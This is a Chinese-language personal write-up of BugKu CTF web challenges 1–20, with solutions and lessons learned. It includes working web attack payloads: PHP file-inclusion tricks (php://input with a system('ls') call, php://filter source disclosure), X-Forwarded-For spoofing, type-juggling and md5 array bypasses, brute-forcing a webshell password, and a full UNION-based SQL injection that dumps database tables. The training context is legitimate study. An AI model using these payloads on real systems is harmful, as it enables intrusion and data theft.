CTF-BugKu-WEB-1-20

2020.09.17

全面复习web,给自己定个目标,后天之前结束BugKu-Web,开始逆向。

经验教训

  1. php弱等于用于绕过==,弱等于之前会把等号两边转化为同一类型变量;
  2. 全局变量全局变量全局变量!!$GLOBALS、$_SERVER、$_REQUEST、$_POST、$_GET、$_FILES、$_ENV、$_COOKIE、$_SESSION
  3. 浏览器的检查元素的网络中内容不一定可信,因为浏览器在接受数据的时候会过滤不符合规则的内容,但是flag可能就藏着里边
  4. 伪装成本地登陆添加请求头X-Forwarded-For: 127.0.0.1
  5. 火狐浏览器有时候会出bug,在一个比较确定的答案没有结果的时候,可以换个浏览器试试。。。。
  6. 文件包含漏洞的利用,php://input配合<?php echo system('ls');?>php://filter/read=convert.base64-encode/resource=index.php
  7. 数组求md5会返回false;
  8. 如果a、b两个值不相同,则异或结果为1。如果a、b两个值相同,异或结果为0。
  9. 数据库中大数据库是information_schema,其中有TABLES、COLUMNS表,存储所有的表和列信息。

第一题 web2

//ctf.bugku.com/challenges#web2

  1. 一堆这个,在页码源文件找到flag

第二题 计算器

//ctf.bugku.com/challenges#计算器

  1. 打开如下
  2. 输入框只能输入一位数,检查源码,发现生成验证码多js文件
  3. 直接访问,在文件中发现flagflag{CTF-bugku-0032}

第三题 web基础$_GET

//ctf.bugku.com/challenges#web基础$_GET

  1. 比较简单的get,构造payload?what=flag,输出flagflag{bugku_get_su8kej2en}

第四题 web基础$_POST

//ctf.bugku.com/challenges#web基础$_POST

  1. 简单的post,Firefox打开,hackbar插件,添加postwhat=flag,请求得到flagflag{bugku_get_ssseint67se}

第五题 矛盾

//ctf.bugku.com/challenges#矛盾

  1. 不能是数字,还得弱等于1,这就用到字符’1qwk’弱等于数字1这个知识点了,在弱等于的时候,等号两边会转化为同一类型的变量,这里1qwk转化为数字后为数字1,payloadnum=1qwk,得到flagflag{bugku-789-ps-ssdf}

第六题 web3

//ctf.bugku.com/challenges#web3

  1. 打开是很多弹窗,看源码,在底部发现信息,html转码,得KEY{J2sa42ahJK-HS11III}

第七题 域名解析

//ctf.bugku.com/challenges#域名解析

  1. 访问//123.206.87.240/后,用hackbar修改host为flag.baidu.com即可得KEY{DSAHDSJ82HDS2211}

第八题 你必须让他停下

//ctf.bugku.com/challenges#你必须让他停下

  1. 看源码知道是一个script脚本一直在运行,用浏览器停用脚本之后,得到如下界面,没啥用,
  2. 看页面文字,stop at panda,我刷新界面源码,发现请求文件一直在变,是不是请求的是panda就可以了呢,burp拦截试试,一直重发就会发现,有概率出现flagflag{dummy_game_1s_s0_popular}

第九题 本地包含

//ctf.bugku.com/challenges#本地包含

  1. 访问500,估计是坏掉了

第十题 变量1

//ctf.bugku.com/challenges#变量1

  1. 得到代码
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
  1. 主要意思就是满足正则表达式,来用var_dump()来输出变量值,这里想到全局变量,构造payload?args=GLOBALS得到flagflag{92853051ab894a64f7865cf3c2128b34}

第十一题 web5

//ctf.bugku.com/challenges#web5

  1. 打开查看源码,发现brainfuck密码,不对,经过查阅是JSFUCK密码,这是一种神奇的fuck密码🤢,解密方法就是在谷歌浏览器的控制台输进去,结果是ctf{whatfk}

  2. 输入框内,被嘲讽了,原来这就是答案,直接输就行了……我想多了

第十二题 头等舱

//ctf.bugku.com/challenges#头等舱

  1. 真的就啥也没有,那只能扫一扫了
  2. 通过burp抓包,发现响应包头部有flagflag{Bugku_k8_23s_istra}

第十三题 网站被黑

//ctf.bugku.com/challenges#网站被黑

  1. 打开,一个没用的网页,源代码什么也没有,那也只能扫描目录了dirb //123.206.87.240:8002/webshell/
  2. 扫描发现shell.php,需要输入密码,弱密码不好用,考虑爆破。得到密码为hack,输入得到flagflag{hack_bug_ku035}

第十四题 管理员系统

//ctf.bugku.com/challenges#管理员系统

  1. 打开网站是一个简陋的管理员系统,尝试弱密码登陆,失败,查看源码,发现最底部有东西dGVzdDEyMw==,base64解码得test123,可能是密码,
    {{uploading-image-166887.png(uploading…)}}
  2. 登陆未果,考虑是本地登陆的原因,使用burp添加请求头X-Forwarded-For: 127.0.0.1,得到flag85ff2ee4171396724bae20c0bd851f6b

第十五题 web4

//ctf.bugku.com/challenges#web4

  1. 打开让看源代码,看看就看看,是一个script,主要意思就是把两个字符串转码,然后执行,我转码后如下:
function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof a){
        if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
            return!0;
        alert("Error");
        a.focus();
        return!1}}
document.getElementById("levelQuest").onsubmit=checkSubmit;
  1. 代码的意思很明确,就是password的值相等就返回正确,与他比较多一串是md5值,经解密得到1466644826,尝试输入
  2. 不好使,然后我就无语了,搜了搜发现不用解码,直接输入就行,mdfuckKEY{J22JK-HS11}

第十六题 flag在index里

//ctf.bugku.com/challenges#flag在index里

  1. 点击链接//123.206.87.240:8005/post/index.php?file=show.php,这个跳转的链接有点眼熟,好像是文件包含漏洞,于是我尝试php://input,但是好像被过滤了
  2. 于是又尝试另一个php://filter/read=convert.base64-encode/resource=index.php,成功输出结果,转码后得到flagflag{edulcni_elif_lacol_si_siht}

第十七题 输入密码查看flag

//ctf.bugku.com/challenges#输入密码查看flag

  1. 输入密码,我们要善于找到题眼,说了是五位数密码,他的意思就是五位数字,那么我认为可以爆破一波,let‘s go
  2. 突然怀疑是不是不靠谱,有点慢啊这样,一共九万个啊,是不是应该用py脚本开多线程试试啊……
  3. nice,果然,题眼对了就没问题,说话间出结果了,哈哈哈flag{bugku-baopo-hah}

第十八题 点击一百万次

//ctf.bugku.com/challenges#点击一百万次

  1. 应该是没了这个题……

第十九题 备份是个好习惯

//ctf.bugku.com/challenges#备份是个好习惯

  1. 打开时一堆啥玩意,貌似md5,64位,难不成是两个md5……

    解密结果是[空密码],这是啥玩意,哦哦wc,这是重复了两遍的同一个
    d41d8cd98f00b204e9800998ecf8427e
    d41d8cd98f00b204e9800998ecf8427e

    但是解密结果还是一样……
  2. 考虑到题目是备份,那么这个考点就是php备份格式bak swp等,构造payloadindex.php.bak,成功下载到文件
  3. 拖到winhex中得到index代码

    整理如下,接下来就是代码解析:
<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php"; //引入文件
ini_set("display_errors", 0); //不报错
$str = strstr($_SERVER['REQUEST_URI'], '?'); // 截取问好之后的内容
$str = substr($str,1); // 把问号去掉
$str = str_replace('key','',$str); // 过滤掉字符key,可以用复写kekeyy绕过
parse_str($str); // 把str解析到变量中,这种情况直接替代同名变量
echo md5($key1);

echo md5($key2); // 这就是我们一开始看见的两个md5值的原因
if(md5($key1) == md5($key2) && $key1 !== $key2){ // 得到flag的条件,key1不等于key2,但是他们的md5值相等,这理论上是不可能的,但是我们可以用数组求md5返回false来绕过
    echo $flag."鍙栧緱flag";
}
?>
  1. 经过分析,构造payload//123.206.87.240:8002/web16/index.php?kekeyy1[]=1&kekeyy2[]=2
    得到flagBugku{OH_YOU_FIND_MY_MOMY}

第二十题 成绩单

//ctf.bugku.com/challenges#成绩单

  1. 是个sql注入题,哈哈哈,这个我记得,印象深刻。先随便查一个。
  2. 整个注入过程如下:
    • id=1,输出正常
    • id=1' ^(1)%23,没输出
    • id=1' ^(0)%23,输出正常,说明存在注入
    • 1' ORDER BY 4%23,输出正常
    • 1' ORDER BY 5%23,输出错误,说明查询结果有4列
    • 0' UNION SELECT 1,2,3,4%23,输出正常,能看到每一个输出对应的地方,可谓一个萝卜一个坑🥕
    • 到这一步就说明比较顺利了,剩下的就是比较模版的东西了。id换成0,目的是让前面查询为空,这样后边的查询结果就能显示出来。
    • id=0' UNION SELECT database(),2,3,4%23,查询数据库名为skctf_flag
    • id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='skctf_flag'),3,4%23,查询数据库下表名为fl4g,sc
    • id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='fl4g'),3,4%23,查询表fl4g下列名skctf_flag
    • id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(skctf_flag) FROM skctf_flag.fl4g),3,4%23,查询列skctf_flag中数据得到flagBUGKU{Sql_INJECT0N_4813drd8hz4}
  3. 这真是一道相当好的注入练习题,我受益匪浅。
Tags: